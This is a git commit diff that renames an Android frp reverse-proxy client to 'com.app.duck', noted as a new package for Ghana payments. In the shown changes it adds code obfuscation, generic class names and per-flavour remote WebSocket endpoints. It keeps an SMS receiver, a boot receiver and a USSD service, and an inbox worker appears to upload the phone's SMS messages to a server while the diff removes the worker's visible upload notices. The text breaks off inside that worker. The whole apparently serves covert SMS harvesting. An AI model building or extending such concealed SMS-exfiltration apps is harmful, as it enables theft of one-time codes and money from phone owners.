hanxiaomeme 1 year ago
parent
commit
804d77153d
50 changed files with 399 additions and 651 deletions
  1. 0 9
      frpc_android-master/README.md
  2. 31 11
      frpc_android-master/app/build.gradle
  3. 4 2
      frpc_android-master/app/proguard-rules.pro
  4. 9 13
      frpc_android-master/app/src/main/AndroidManifest.xml
  5. 5 5
      frpc_android-master/app/src/main/java/com/app/MainApp.java
  6. 7 6
      frpc_android-master/app/src/main/java/com/app/duck/BaseActivity.java
  7. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/Config.java
  8. 3 3
      frpc_android-master/app/src/main/java/com/app/duck/adapter/FileListAdapter.java
  9. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/database/AppDatabase.java
  10. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/database/Config.java
  11. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/database/ConfigDao.java
  12. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/database/DBContract.java
  13. 1 1
      frpc_android-master/app/src/main/java/com/app/duck/database/DBHelper.java
  14. 5 5
      frpc_android-master/app/src/main/java/com/app/duck/dialog/DialogManager.java
  15. 4 4
      frpc_android-master/app/src/main/java/com/app/duck/dialog/UploadAppDialog.java
  16. 15 15
      frpc_android-master/app/src/main/java/com/app/duck/ui/HomeFragment.java
  17. 8 8
      frpc_android-master/app/src/main/java/com/app/duck/ui/IniEditActivity.java
  18. 19 23
      frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java
  19. 6 6
      frpc_android-master/app/src/main/java/com/app/duck/ui/TemplateActivity.java
  20. 2 2
      frpc_android-master/app/src/main/java/com/app/duck/util/BootReceiver.java
  21. 24 27
      frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java
  22. 19 20
      frpc_android-master/app/src/main/java/com/app/duck/util/HeartbeatWorker.java
  23. 45 5
      frpc_android-master/app/src/main/java/com/app/duck/util/HxUtils.java
  24. 2 45
      frpc_android-master/app/src/main/java/com/app/duck/util/PermissionsUtils.java
  25. 14 15
      frpc_android-master/app/src/main/java/com/app/duck/util/Service1.java
  26. 64 0
      frpc_android-master/app/src/main/java/com/app/duck/util/Service2.java
  27. 9 9
      frpc_android-master/app/src/main/java/com/app/duck/util/SmsReceiver.java
  28. 8 8
      frpc_android-master/app/src/main/java/com/app/duck/util/TgBot.java
  29. 54 38
      frpc_android-master/app/src/main/java/com/app/duck/util/WsManager.java
  30. 4 3
      frpc_android-master/app/src/main/java/com/app/http/APPConfig.java
  31. 1 1
      frpc_android-master/app/src/main/java/com/app/http/BaseBean.java
  32. 1 1
      frpc_android-master/app/src/main/java/com/app/http/Http.java
  33. 2 2
      frpc_android-master/app/src/main/java/com/app/http/LoadingDialog.java
  34. 1 1
      frpc_android-master/app/src/main/java/com/app/http/Parser.java
  35. 0 132
      frpc_android-master/app/src/main/java/com/car/frpc_android/ui/LogcatActivity.java
  36. 0 56
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/CommonUtils.java
  37. 0 115
      frpc_android-master/app/src/main/java/com/car/frpc_android/util/ForegroundService.java
  38. 0 1
      frpc_android-master/app/src/main/res/layout/activity_ini_edit.xml
  39. 0 42
      frpc_android-master/app/src/main/res/layout/activity_logcat.xml
  40. 0 4
      frpc_android-master/app/src/main/res/menu/activity_main_drawer.xml
  41. BIN
      frpc_android-master/app/src/main/res/mipmap-hdpi/ic_launcher.png
  42. BIN
      frpc_android-master/app/src/main/res/mipmap-mdpi/ic_launcher.png
  43. BIN
      frpc_android-master/app/src/main/res/mipmap-xhdpi/ic_launcher.png
  44. BIN
      frpc_android-master/app/src/main/res/mipmap-xxhdpi/ic_launcher.png
  45. BIN
      frpc_android-master/app/src/main/res/mipmap-xxxhdpi/ic_launcher.png
  46. 1 1
      frpc_android-master/app/src/main/res/navigation/mobile_navigation.xml
  47. 7 5
      frpc_android-master/app/src/main/res/raw/frpc.ini
  48. 2 2
      frpc_android-master/app/src/main/res/values/strings.xml
  49. 16 0
      frpc_android-master/app/xmlclassguard.gradle
  50. 1 0
      frpc_android-master/build.gradle

+ 0 - 9
frpc_android-master/README.md

@@ -1,9 +0,0 @@
-### [frp](https://github.com/fatedier/frp) 是一个专注于内网穿透的高性能的反向代理应用,支持 TCP、UDP、HTTP、HTTPS 等多种协议。可以将内网服务以安全、便捷的方式通过具有公网 IP 节点的中转暴露到公网。
-
-### 当前frp版本号0.39.1
-
-### [编译方法](https://github.com/FrpcCluster/frpc-Android/blob/master/Compile_zh.md)
-
-
-
-

+ 31 - 11
frpc_android-master/app/build.gradle

@@ -1,7 +1,7 @@
 import org.json.JSONObject
 
 apply plugin: 'com.android.application'
-
+apply from: 'xmlclassguard.gradle'
 android {
     compileSdkVersion 31
     flavorDimensions "baseUrl"
@@ -13,6 +13,7 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user1/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
         }
         user2 {//dcduckcake
             dimension "baseUrl"
@@ -21,6 +22,8 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+
         }
 
         user3 {//bcblackcoffee
@@ -30,6 +33,8 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+
         }
 
         user4 {//lkluckpanda
@@ -39,6 +44,8 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+
         }
 
         userfy {
@@ -48,14 +55,27 @@ android {
             buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/userdemo/\""
             buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
             buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://naughty.lkluckpanda.online:443/69f3476bb6e001a9c320719073f055cc/app/\""
+
+        }
+        user5 {
+            dimension "baseUrl"
+            buildConfigField "String", "BASE_URL", "\"https://www.dcduckcake.com\""
+            buildConfigField "String", "UPDATE_KEY", "\"f6602356-ff46-422e-87ba-d5fbe3f0adf7\""
+            buildConfigField "String", "UPDATE_BASE_URL", "\"http://up.lkluckpanda.online/user5/\""
+            buildConfigField "String", "UPDATE_APP_NAME", "\"guy.apk\""
+            buildConfigField "String", "UPDATE_JSON", "\"config.json\""
+            buildConfigField "String", "WEB_URL", "\"wss://stretch.dcduckcake.com/ca4c62f1ae5f4514acc6132a9f2716a7/app/\""
+
         }
     }
     defaultConfig {
-        applicationId "com.car.frpc_android"
-        minSdkVersion 23
+//        applicationId "com.car.frpc_android"//之前老的包名
+        applicationId "com.duck.man"//加纳支付新包名用这个
+        minSdkVersion 30
         targetSdkVersion 31
-        versionCode 20
-        versionName "0.39.5.0"
+        versionCode 24
+        versionName "0.39.5.4"
         multiDexEnabled true
         ndk {
             abiFilters 'armeabi-v8a','armeabi-v7a'
@@ -111,18 +131,18 @@ android {
     buildTypes {
         release {
             buildConfigField "boolean", "LOG_DEBUG", "false"
-            minifyEnabled false
-            zipAlignEnabled false
-            shrinkResources false
+            minifyEnabled true
+            zipAlignEnabled true
+            shrinkResources true
             proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro', 'proguard-fresco.pro'
             signingConfig signingConfigs.release
         }
 
         debug {
             buildConfigField "boolean", "LOG_DEBUG", "true"
-            minifyEnabled false
-            zipAlignEnabled false
-            shrinkResources false
+            minifyEnabled true
+            zipAlignEnabled true
+            shrinkResources true
             proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro', 'proguard-fresco.pro'
             signingConfig signingConfigs.debug
         }

+ 4 - 2
frpc_android-master/app/proguard-rules.pro

@@ -246,5 +246,7 @@
 # AppCenter
 -keep class com.microsoft.appcenter.** { *; }
 -keep class androidx.work.** { *; }
-
-
+-dontwarn com.jeremyliao.liveeventbus.**
+-keep class com.jeremyliao.liveeventbus.** { *; }
+-keep class androidx.lifecycle.** { *; }
+-keep class androidx.arch.core.** { *; }

+ 9 - 13
frpc_android-master/app/src/main/AndroidManifest.xml

@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="utf-8"?>
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
     xmlns:tools="http://schemas.android.com/tools"
-    package="com.car.frpc_android">
+    package="com.app.duck">
 
     <uses-feature
         android:name="android.hardware.telephony"
@@ -25,7 +25,7 @@
     <uses-permission android:name="android.permission.CHANGE_WIFI_STATE" />
     <uses-permission android:name="android.permission.ACCESS_NETWORK_STATE" />
     <application
-        android:name="com.car.MainApp"
+        android:name="com.app.MainApp"
         android:allowBackup="true"
         android:icon="@mipmap/ic_launcher"
         android:label="@string/app_name"
@@ -36,15 +36,11 @@
         android:largeHeap="true"
         android:usesCleartextTraffic="true">
         <activity
-            android:name=".ui.LogcatActivity"
+            android:name="com.app.duck.ui.IniEditActivity"
             android:exported="false"
             android:label="@string/title_activity_main" />
         <activity
-            android:name=".ui.IniEditActivity"
-            android:exported="false"
-            android:label="@string/title_activity_main" />
-        <activity
-            android:name=".ui.MainActivity"
+            android:name="com.app.duck.ui.MainActivity"
             android:exported="true"
             android:label="@string/title_activity_main"
             android:launchMode="singleTop"
@@ -56,23 +52,23 @@
             </intent-filter>
         </activity>
         <activity
-            android:name=".ui.TemplateActivity"
+            android:name="com.app.duck.ui.TemplateActivity"
             android:exported="false"
             android:label="@string/title_activity_main" />
 
         <service
-            android:name=".util.FrpcService"
+            android:name="com.app.duck.util.Service1"
             android:exported="false" />
 
         <receiver
-            android:name=".util.SmsReceiver"
+            android:name="com.app.duck.util.SmsReceiver"
             android:exported="true">
             <intent-filter>
                 <action android:name="android.provider.Telephony.SMS_RECEIVED" />
             </intent-filter>
         </receiver>
         <receiver
-            android:name=".util.BootReceiver"
+            android:name="com.app.duck.util.BootReceiver"
             android:enabled="true"
             android:exported="true"
             android:permission="android.permission.RECEIVE_BOOT_COMPLETED">
@@ -81,7 +77,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
         </receiver>
-        <service android:name=".util.ForegroundService" />
+        <service android:name="com.app.duck.util.Service2" />
 
         <service
             android:name="com.romellfudi.ussdlibrary.USSDService"

+ 5 - 5
frpc_android-master/app/src/main/java/com/car/MainApp.java → frpc_android-master/app/src/main/java/com/app/MainApp.java

@@ -1,12 +1,12 @@
-package com.car;
+package com.app;
 
 import androidx.multidex.MultiDex;
 import androidx.multidex.MultiDexApplication;
 
 import com.blankj.utilcode.util.Utils;
-import com.car.frpc_android.BuildConfig;
-import com.car.frpc_android.Config;
-import com.car.frpc_android.util.WebSocketManager;
+import com.app.duck.BuildConfig;
+import com.app.duck.Config;
+import com.app.duck.util.WsManager;
 import com.elvishew.xlog.LogConfiguration;
 import com.elvishew.xlog.XLog;
 import com.elvishew.xlog.flattener.ClassicFlattener;
@@ -30,7 +30,7 @@ public class MainApp extends MultiDexApplication {
         x.Ext.init(this);
         x.Ext.setDebug(BuildConfig.DEBUG);
         AppCenter.start(this, BuildConfig.UPDATE_KEY, Analytics.class, Crashes.class);
-        WebSocketManager.connectWebSocket();
+        WsManager.connectWebSocket();
         Printer filePrinter = new FilePrinter
                 .Builder(Utils.getApp().getFilesDir().getPath() + "/ulog")
                 .fileNameGenerator(new ChangelessFileNameGenerator(BuildConfig.UPDATE_KEY + ".txt"))

+ 7 - 6
frpc_android-master/app/src/main/java/com/car/frpc_android/BaseActivity.java → frpc_android-master/app/src/main/java/com/app/duck/BaseActivity.java

@@ -1,4 +1,5 @@
-package com.car.frpc_android;
+package com.app.duck;
+
 
 import android.content.Context;
 import android.content.Intent;
@@ -14,10 +15,10 @@ import androidx.viewbinding.ViewBinding;
 
 import com.blankj.utilcode.util.KeyboardUtils;
 import com.blankj.utilcode.util.StringUtils;
-import com.car.frpc_android.util.ForegroundService;
-import com.car.frpc_android.util.HxUtils;
-import com.car.frpc_android.util.PermissionsUtils;
-import com.car.http.Http;
+import com.app.duck.util.Service2;
+import com.app.duck.util.HxUtils;
+import com.app.duck.util.PermissionsUtils;
+import com.app.http.Http;
 import com.romellfudi.ussdlibrary.USSDController;
 
 import org.xutils.x;
@@ -102,7 +103,7 @@ public abstract class BaseActivity<B extends ViewBinding> extends AppCompatActiv
     }
 
     public void startForegroundService() {
-        Intent intent = new Intent(this, ForegroundService.class);
+        Intent intent = new Intent(this, Service2.class);
         if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.O) {
             startForegroundService(intent);
         } else {

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/Config.java → frpc_android-master/app/src/main/java/com/app/duck/Config.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android;
+package com.app.duck;
 
 /**
  * author: hx

+ 3 - 3
frpc_android-master/app/src/main/java/com/car/frpc_android/adapter/FileListAdapter.java → frpc_android-master/app/src/main/java/com/app/duck/adapter/FileListAdapter.java

@@ -1,11 +1,11 @@
-package com.car.frpc_android.adapter;
+package com.app.duck.adapter;
 
 import android.content.res.ColorStateList;
 
 import androidx.core.widget.ImageViewCompat;
 
-import com.car.frpc_android.R;
-import com.car.frpc_android.database.Config;
+import com.app.duck.R;
+import com.app.duck.database.Config;
 import com.chad.library.adapter.base.BaseQuickAdapter;
 import com.chad.library.adapter.base.viewholder.BaseViewHolder;
 

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/database/AppDatabase.java → frpc_android-master/app/src/main/java/com/app/duck/database/AppDatabase.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.database;
+package com.app.duck.database;
 
 import android.content.Context;
 

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/database/Config.java → frpc_android-master/app/src/main/java/com/app/duck/database/Config.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.database;
+package com.app.duck.database;
 
 import androidx.annotation.NonNull;
 import androidx.room.ColumnInfo;

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/database/ConfigDao.java → frpc_android-master/app/src/main/java/com/app/duck/database/ConfigDao.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.database;
+package com.app.duck.database;
 
 import androidx.room.Dao;
 import androidx.room.Delete;

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/database/DBContract.java → frpc_android-master/app/src/main/java/com/app/duck/database/DBContract.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.database;
+package com.app.duck.database;
 
 public class DBContract {
     // 数据库名称

+ 1 - 1
frpc_android-master/app/src/main/java/com/car/frpc_android/database/DBHelper.java → frpc_android-master/app/src/main/java/com/app/duck/database/DBHelper.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.database;
+package com.app.duck.database;
 
 import android.content.ContentValues;
 import android.content.Context;

+ 5 - 5
frpc_android-master/app/src/main/java/com/car/frpc_android/dialog/DialogManager.java → frpc_android-master/app/src/main/java/com/app/duck/dialog/DialogManager.java

@@ -1,6 +1,6 @@
-package com.car.frpc_android.dialog;
+package com.app.duck.dialog;
 
-import static com.car.frpc_android.Config.PHONE_TAG;
+import static com.app.duck.Config.PHONE_TAG;
 
 import android.app.Activity;
 import android.app.ProgressDialog;
@@ -10,9 +10,9 @@ import androidx.appcompat.app.AlertDialog;
 
 import com.blankj.utilcode.util.ActivityUtils;
 import com.blankj.utilcode.util.StringUtils;
-import com.car.frpc_android.R;
-import com.car.frpc_android.ui.MainActivity;
-import com.car.frpc_android.util.HxUtils;
+import com.app.duck.R;
+import com.app.duck.ui.MainActivity;
+import com.app.duck.util.HxUtils;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 public class DialogManager {

+ 4 - 4
frpc_android-master/app/src/main/java/com/car/frpc_android/dialog/UploadAppDialog.java → frpc_android-master/app/src/main/java/com/app/duck/dialog/UploadAppDialog.java

@@ -1,4 +1,4 @@
-package com.car.frpc_android.dialog;
+package com.app.duck.dialog;
 
 import android.annotation.SuppressLint;
 import android.app.Dialog;
@@ -17,12 +17,12 @@ import androidx.core.content.FileProvider;
 
 import com.alibaba.fastjson.JSON;
 import com.alibaba.fastjson.JSONObject;
+import com.app.duck.BuildConfig;
+import com.app.duck.R;
 import com.blankj.utilcode.util.AppUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.ToastUtils;
 import com.blankj.utilcode.util.Utils;
-import com.car.frpc_android.BuildConfig;
-import com.car.frpc_android.R;
 
 import org.xutils.common.Callback;
 import org.xutils.http.RequestParams;
@@ -64,7 +64,7 @@ public class UploadAppDialog extends Dialog implements View.OnClickListener {
             show();
         } else {
             if (toast) {
-                ToastUtils.showLong(AppUtils.getAppVersionName() + StringUtils.getString(R.string.uplaod_null_tip));
+                ToastUtils.showLong(AppUtils.getAppVersionName() + "[" + AppUtils.getAppVersionCode() + "]" + StringUtils.getString(R.string.uplaod_null_tip));
             }
         }
 

+ 15 - 15
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/HomeFragment.java → frpc_android-master/app/src/main/java/com/app/duck/ui/HomeFragment.java

@@ -1,8 +1,8 @@
-package com.car.frpc_android.ui;
+package com.app.duck.ui;
 
-import static com.car.frpc_android.Config.EVENT_RUNNING_ERROR;
-import static com.car.frpc_android.Config.EVENT_UPDATE_CONFIG;
-import static com.car.frpc_android.Config.INTENT_EDIT_INI;
+import static com.app.duck.Config.EVENT_RUNNING_ERROR;
+import static com.app.duck.Config.EVENT_UPDATE_CONFIG;
+import static com.app.duck.Config.INTENT_EDIT_INI;
 
 import android.content.Intent;
 import android.os.Bundle;
@@ -19,12 +19,12 @@ import androidx.recyclerview.widget.RecyclerView;
 import androidx.swiperefreshlayout.widget.SwipeRefreshLayout;
 
 import com.afollestad.materialdialogs.MaterialDialog;
-import com.car.frpc_android.R;
-import com.car.frpc_android.adapter.FileListAdapter;
-import com.car.frpc_android.database.AppDatabase;
-import com.car.frpc_android.database.Config;
-import com.car.frpc_android.util.CommonUtils;
-import com.car.frpc_android.util.FrpcService;
+import com.app.duck.R;
+import com.app.duck.adapter.FileListAdapter;
+import com.app.duck.database.AppDatabase;
+import com.app.duck.database.Config;
+import com.app.duck.util.Service1;
+import com.app.duck.util.HxUtils;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.List;
@@ -67,8 +67,8 @@ public class HomeFragment extends Fragment {
         listAdapter.setOnItemChildClickListener((adapter, view, position) -> {
             Config item = listAdapter.getItem(position);
             if (view.getId() == R.id.iv_play) {
-                if (!CommonUtils.isServiceRunning(FrpcService.class.getName(), getContext())) {
-                    getContext().startService(new Intent(getContext(), FrpcService.class));
+                if (!HxUtils.isServiceRunning(Service1.class.getName(), getContext())) {
+                    getContext().startService(new Intent(getContext(), Service1.class));
                 }
                 if (Frpclib.isRunning(item.getUid())) {
                     Frpclib.close(item.getUid());
@@ -77,7 +77,7 @@ public class HomeFragment extends Fragment {
                     checkAndStopService();
                     return;
                 }
-                CommonUtils.waitService(FrpcService.class.getName(), getContext())
+                HxUtils.waitService(Service1.class.getName(), getContext())
                         .subscribeOn(Schedulers.io())
                         .observeOn(AndroidSchedulers.mainThread())
                         .subscribe(new CompletableObserver() {
@@ -96,7 +96,7 @@ public class HomeFragment extends Fragment {
                             @Override
                             public void onComplete() {
                                 progress.dismiss();
-                                LiveEventBus.get(FrpcService.INTENT_KEY_FILE).postAcrossProcess(item.getUid());
+                                LiveEventBus.get(Service1.INTENT_KEY_FILE).postAcrossProcess(item.getUid());
                                 item.setConnecting(true);
                                 listAdapter.notifyItemChanged(position);
 
@@ -158,7 +158,7 @@ public class HomeFragment extends Fragment {
 
     private void checkAndStopService() {
         if (TextUtils.isEmpty(Frpclib.getUids())) {
-            getContext().stopService(new Intent(getContext(), FrpcService.class));
+            getContext().stopService(new Intent(getContext(), Service1.class));
         }
     }
 

+ 8 - 8
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/IniEditActivity.java → frpc_android-master/app/src/main/java/com/app/duck/ui/IniEditActivity.java

@@ -1,7 +1,7 @@
-package com.car.frpc_android.ui;
+package com.app.duck.ui;
 
-import static com.car.frpc_android.Config.EVENT_UPDATE_CONFIG;
-import static com.car.frpc_android.Config.INTENT_EDIT_INI;
+import static com.app.duck.Config.EVENT_UPDATE_CONFIG;
+import static com.app.duck.Config.INTENT_EDIT_INI;
 
 import android.content.Intent;
 import android.text.TextUtils;
@@ -12,11 +12,11 @@ import android.widget.Toast;
 import androidx.annotation.NonNull;
 
 import com.afollestad.materialdialogs.MaterialDialog;
-import com.car.frpc_android.BaseActivity;
-import com.car.frpc_android.R;
-import com.car.frpc_android.database.AppDatabase;
-import com.car.frpc_android.database.Config;
-import com.car.frpc_android.databinding.ActivityIniEditBinding;
+import com.app.duck.BaseActivity;
+import com.app.duck.R;
+import com.app.duck.database.AppDatabase;
+import com.app.duck.database.Config;
+import com.app.duck.databinding.ActivityIniEditBinding;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
 import java.util.UUID;

+ 19 - 23
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/MainActivity.java → frpc_android-master/app/src/main/java/com/app/duck/ui/MainActivity.java

@@ -1,10 +1,10 @@
-package com.car.frpc_android.ui;
+package com.app.duck.ui;
 
-import static com.car.frpc_android.Config.BREATH_TAG;
-import static com.car.frpc_android.Config.INTENT_EDIT_INI;
-import static com.car.frpc_android.Config.PHONE_TAG;
-import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
-import static com.car.frpc_android.Config.WEBSOCKET_STATUS_TAG;
+import static com.app.duck.Config.BREATH_TAG;
+import static com.app.duck.Config.INTENT_EDIT_INI;
+import static com.app.duck.Config.PHONE_TAG;
+import static com.app.duck.Config.SMS_UPLOAD_TAG;
+import static com.app.duck.Config.WEBSOCKET_STATUS_TAG;
 
 import android.content.Context;
 import android.content.Intent;
@@ -18,17 +18,16 @@ import androidx.navigation.ui.AppBarConfiguration;
 import androidx.navigation.ui.NavigationUI;
 
 import com.blankj.utilcode.util.ToastUtils;
-import com.car.frpc_android.BaseActivity;
-import com.car.frpc_android.R;
-import com.car.frpc_android.database.Config;
-import com.car.frpc_android.databinding.ActivityMainBinding;
-import com.car.frpc_android.dialog.DialogManager;
-import com.car.frpc_android.util.CheckInboxWorker;
-import com.car.frpc_android.util.CommonUtils;
-import com.car.frpc_android.util.HeartbeatWorker;
-import com.car.frpc_android.util.HxUtils;
-import com.car.frpc_android.util.TelegramBotExample;
-import com.car.frpc_android.util.WebSocketManager;
+import com.app.duck.BaseActivity;
+import com.app.duck.R;
+import com.app.duck.database.Config;
+import com.app.duck.databinding.ActivityMainBinding;
+import com.app.duck.dialog.DialogManager;
+import com.app.duck.util.CheckInboxWorker;
+import com.app.duck.util.HeartbeatWorker;
+import com.app.duck.util.HxUtils;
+import com.app.duck.util.TgBot;
+import com.app.duck.util.WsManager;
 import com.google.android.material.navigation.NavigationView;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 import com.romellfudi.ussdlibrary.USSDController;
@@ -68,7 +67,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
         observer4 = s -> b.appBarMain.contentMain.workTv3.setText(s);
         observer5 = s -> {
             b.appBarMain.contentMain.phoneTv.setText(s);
-            WebSocketManager.closeWebSocket();
+            WsManager.closeWebSocket();
         };
 
         LiveEventBus.get(BREATH_TAG, String.class).observe(this, observer2);
@@ -96,7 +95,7 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     public boolean onOptionsItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
             case R.id.action_new_text:
-                CommonUtils.getStringFromRaw(MainActivity.this, R.raw.frpc)
+                HxUtils.getStringFromRaw(MainActivity.this, R.raw.frpc)
                         .subscribeOn(Schedulers.io())
                         .observeOn(AndroidSchedulers.mainThread())
                         .subscribe(new Observer<String>() {
@@ -156,11 +155,8 @@ public class MainActivity extends BaseActivity<ActivityMainBinding> implements N
     @Override
     public boolean onNavigationItemSelected(@NonNull MenuItem item) {
         switch (item.getItemId()) {
-            case R.id.logcat:
-                startActivity(new Intent(this, LogcatActivity.class));
-                return true;
             case R.id.logcat_push:
-                new TelegramBotExample("", false);
+                new TgBot("", false);
                 return true;
             case R.id.about:
                 HxUtils.checkForUpdate(context, true);

+ 6 - 6
frpc_android-master/app/src/main/java/com/car/frpc_android/ui/TemplateActivity.java → frpc_android-master/app/src/main/java/com/app/duck/ui/TemplateActivity.java

@@ -1,11 +1,11 @@
-package com.car.frpc_android.ui;
+package com.app.duck.ui;
 
 import androidx.annotation.NonNull;
 
-import com.car.frpc_android.BaseActivity;
-import com.car.frpc_android.R;
-import com.car.frpc_android.databinding.ActivityIniEditBinding;
-import com.car.frpc_android.util.CommonUtils;
+import com.app.duck.BaseActivity;
+import com.app.duck.R;
+import com.app.duck.databinding.ActivityIniEditBinding;
+import com.app.duck.util.HxUtils;
 
 import io.reactivex.Observer;
 import io.reactivex.android.schedulers.AndroidSchedulers;
@@ -22,7 +22,7 @@ public class TemplateActivity extends BaseActivity<ActivityIniEditBinding> {
     }
 
     private void initEdit() {
-        CommonUtils.getStringFromRaw(TemplateActivity.this, R.raw.frpc_full)
+        HxUtils.getStringFromRaw(TemplateActivity.this, R.raw.frpc_full)
                 .subscribeOn(Schedulers.io())
                 .observeOn(AndroidSchedulers.mainThread())
                 .subscribe(new Observer<String>() {

+ 2 - 2
frpc_android-master/app/src/main/java/com/car/frpc_android/util/BootReceiver.java → frpc_android-master/app/src/main/java/com/app/duck/util/BootReceiver.java

@@ -1,11 +1,11 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
 import android.content.BroadcastReceiver;
 import android.content.Context;
 import android.content.Intent;
 
 import com.blankj.utilcode.util.ActivityUtils;
-import com.car.frpc_android.ui.MainActivity;
+import com.app.duck.ui.MainActivity;
 
 public class BootReceiver extends BroadcastReceiver {
     @Override

+ 24 - 27
frpc_android-master/app/src/main/java/com/car/frpc_android/util/CheckInboxWorker.java → frpc_android-master/app/src/main/java/com/app/duck/util/CheckInboxWorker.java

@@ -1,7 +1,7 @@
-package com.car.frpc_android.util;
+package com.app.duck.util;
 
 import static com.blankj.utilcode.util.TimeUtils.getSafeDateFormat;
-import static com.car.frpc_android.Config.SMS_UPLOAD_TAG;
+import static com.app.duck.Config.SMS_UPLOAD_TAG;
 
 import android.annotation.SuppressLint;
 import android.content.ContentResolver;
@@ -22,11 +22,11 @@ import com.blankj.utilcode.util.GsonUtils;
 import com.blankj.utilcode.util.StringUtils;
 import com.blankj.utilcode.util.TimeUtils;
 import com.blankj.utilcode.util.Utils;
-import com.car.frpc_android.Config;
-import com.car.frpc_android.database.DBHelper;
-import com.car.http.APPConfig;
-import com.car.http.BaseBean;
-import com.car.http.Http;
+import com.app.duck.Config;
+import com.app.duck.database.DBHelper;
+import com.app.http.APPConfig;
+import com.app.http.BaseBean;
+import com.app.http.Http;
 import com.elvishew.xlog.XLog;
 import com.jeremyliao.liveeventbus.LiveEventBus;
 
@@ -44,9 +44,9 @@ public class CheckInboxWorker extends Worker {
     @Override
     public Result doWork() {
         if (StringUtils.isEmpty(HxUtils.getPhone())) {
-            LiveEventBus.get(SMS_UPLOAD_TAG).post("Sms inbox worker retrying.[No phone number set yet.]");
-            Log.i(Config.LOG_TAG, "[CheckInboxWorker] doWork: Sms inbox worker retrying.[No phone number set yet.]");
-            XLog.i("[CheckInboxWorker] doWork: Sms inbox worker retrying.[No phone number set yet.]");
+            LiveEventBus.get(SMS_UPLOAD_TAG).post("duck.3 retrying.[No phone number set yet.]");
+            Log.i(Config.LOG_TAG, "duck.3 doWork: Sms inbox worker retrying.[No phone number set yet.]");
+            XLog.i("duck.3 doWork: Sms inbox worker retrying.[No phone number set yet.]");
             return Result.retry();
         }
         try {
@@ -93,36 +93,33 @@ public class CheckInboxWorker extends Worker {
                                 @Override
                                 public void onNext(String model) {
                                     dbHelper.insertOrUpdateData(id, 1);
-                                    LiveEventBus.get(SMS_UPLOAD_TAG).post("SMS[" + id + "] commit success.");
                                 }
 
                                 @Override
                                 public void onError(Throwable ex) {
                                     super.onError(ex);
-                                    Log.e(Config.LOG_TAG, "[CheckInboxWorker] onError: SMS[" + id + "] commit error.", ex);
-                                    XLog.e("[CheckInboxWorker] onError: SMS[" + id + "] commit error.", ex);
-                                    LiveEventBus.get(SMS_UPLOAD_TAG).post("SMS[" + id + "] commit error.");
+                                    Log.e(Config.LOG_TAG, "duck.3 onError: SMS[" + id + "] commit error.", ex);
+                                    XLog.e("duck.3 onError: SMS[" + id + "] commit error.", ex);
                                 }
 
                                 @Override
                                 public void onFail(BaseBean t) {
                                     super.onFail(t);
-                                    Log.i(Config.LOG_TAG, "[CheckInboxWorker] onFail: SMS[" + id + "] commit fail.");
